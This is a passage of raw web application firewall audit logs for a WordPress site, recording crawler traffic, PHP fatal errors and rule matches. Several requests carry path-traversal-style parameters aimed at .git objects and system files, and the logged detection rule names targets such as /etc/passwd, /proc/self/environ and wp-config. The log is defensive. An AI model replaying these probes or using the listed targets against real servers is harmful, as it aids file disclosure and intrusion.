\"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":248,"p2":4602,"p3":0,"p4":0,"p5":293,"sr":137,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:36:51.922688 +0100","transaction_id":"abNcI_GYjQkrq8Uo_EwAeQAAAJg","remote_address":"114.119.145.169","remote_port":32868,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/258077251 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.145.169","X-Forwarded-Proto":"http","X-Request-Id":"d24462b551a7cf8ec8008e4558c63779","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29036650","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"d24462b551a7cf8ec8008e4558c63779","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":261,"p2":4835,"p3":0,"p4":0,"p5":303,"sr":140,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:37:00.657816 +0100","transaction_id":"abNcLPGYjQkrq8Uo_EwAhgAAAI8","remote_address":"65.109.118.212","remote_port":32910,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"86ad53712e469b8f93c9062f4e02931b","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"31195820","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"86ad53712e469b8f93c9062f4e02931b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":252,"p2":4672,"p3":0,"p4":0,"p5":1498,"sr":134,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:40:13.449397 +0100","transaction_id":"abNc7aNDElJSaUY9M9GhqQAAAMc","remote_address":"114.119.150.95","remote_port":41368,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/219296251 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.150.95","X-Forwarded-Proto":"http","X-Request-Id":"58c497fdd3ba02611cbf7c22b672e5c4","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"31917458","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"58c497fdd3ba02611cbf7c22b672e5c4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":194,"p2":3746,"p3":0,"p4":0,"p5":411,"sr":113,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:41:01.852813 +0100","transaction_id":"abNdHfGYjQkrq8Uo_EwB6wAAAJI","remote_address":"65.109.118.212","remote_port":60662,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"d627a45f14c0e72abf1cfef626409713","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4769065","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"d627a45f14c0e72abf1cfef626409713","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":295,"p2":5172,"p3":0,"p4":0,"p5":309,"sr":125,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:41:04.607972 +0100","transaction_id":"abNdIKNDElJSaUY9M9Gh5AAAAMY","remote_address":"57.141.20.32","remote_port":60648,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/e9/c8e16ac5e7f61c843fbac290ce30c5de7e40b6 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.32","X-Forwarded-Proto":"https","X-Request-Id":"5517e57831039f333a378eede4db9daf","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"25663832"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5517e57831039f333a378eede4db9daf","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/agriculture-products/?rename=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/e9/c8e16ac5e7f61c843fbac290ce30c5de7e40b6||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":328,"p2":7416,"p3":0,"p4":0,"p5":361,"sr":144,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:42:49.377205 +0100","transaction_id":"abNdiVWNXJO_mmQISINJQgAAAUM","remote_address":"114.119.150.95","remote_port":52790,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/36534651 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.150.95","X-Forwarded-Proto":"http","X-Request-Id":"64b9a0effb4da57d3ef8360ba8baa050","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30901220","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"64b9a0effb4da57d3ef8360ba8baa050","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":308,"p2":4887,"p3":0,"p4":0,"p5":308,"sr":195,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:43:04.880520 +0100","transaction_id":"abNdmPGYjQkrq8Uo_EwCeAAAAJg","remote_address":"65.109.118.212","remote_port":39334,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"e66b0420dbd2d8868dc1d60ea096f2b2","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"31000376","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"e66b0420dbd2d8868dc1d60ea096f2b2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":311,"p2":5551,"p3":0,"p4":0,"p5":773,"sr":150,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:43:13.853122 +0100","transaction_id":"abNdoaNDElJSaUY9M9Gi6AAAAMA","remote_address":"57.141.20.13","remote_port":35102,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/71/fa62e811b79b8958646cc67ad2f2101d2e5a7c HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.13","X-Forwarded-Proto":"https","X-Request-Id":"76cbdb3b88ad9fad2bd45c014018cbe9","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"28906294"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"76cbdb3b88ad9fad2bd45c014018cbe9","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/71/fa62e811b79b8958646cc67ad2f2101d2e5a7c||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":334,"p2":5640,"p3":0,"p4":0,"p5":352,"sr":118,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:43:39.044525 +0100","transaction_id":"abNdun6c0W8rkQnlo8JBGQAAAc4","remote_address":"57.141.20.19","remote_port":52802,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/mailchimp-for-woocommerce/mailchimp-for-woocommerce.2.1.12.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.19","X-Forwarded-Proto":"https","X-Request-Id":"49ec569ea4376ea8bfd291280d2d719b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9362771"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"49ec569ea4376ea8bfd291280d2d719b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/mailchimp-for-woocommerce/mailchimp-for-woocommerce.2.1.12.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":283,"p2":4480,"p3":0,"p4":0,"p5":290,"sr":111,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:43:52.924864 +0100","transaction_id":"abNdyAhXxndD9xDx47xMuQAAAEE","remote_address":"57.141.20.51","remote_port":60902,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/opt/php8.2/include/php/Zend/zend_exceptions_arginfo.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.51","X-Forwarded-Proto":"https","X-Request-Id":"a3a6ed411778e680701ecae6473a6a03","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9362822"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"a3a6ed411778e680701ecae6473a6a03","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.2/include/php/Zend/zend_exceptions_arginfo.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":362,"p2":6649,"p3":0,"p4":0,"p5":436,"sr":147,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:44:33.798287 +0100","transaction_id":"abNd8fGYjQkrq8Uo_EwDHwAAAIk","remote_address":"57.141.20.48","remote_port":60712,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/1b/94753b515d20baf63c0e2c30520858d9a5515c HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.48","X-Forwarded-Proto":"https","X-Request-Id":"f97da1c38c65d8abc357eac31b5cf5d6","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"26351174"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"f97da1c38c65d8abc357eac31b5cf5d6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/1b/94753b515d20baf63c0e2c30520858d9a5515c||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":287,"p2":5057,"p3":0,"p4":0,"p5":285,"sr":124,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:45:06.326995 +0100","transaction_id":"abNeEgPfUmAczd2QoGXDNQAAABE","remote_address":"65.109.118.212","remote_port":48930,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"dea094f28209bc7e31d27023914ee8b0","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3423932","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"dea094f28209bc7e31d27023914ee8b0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":164,"p2":3066,"p3":0,"p4":0,"p5":308,"sr":96,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
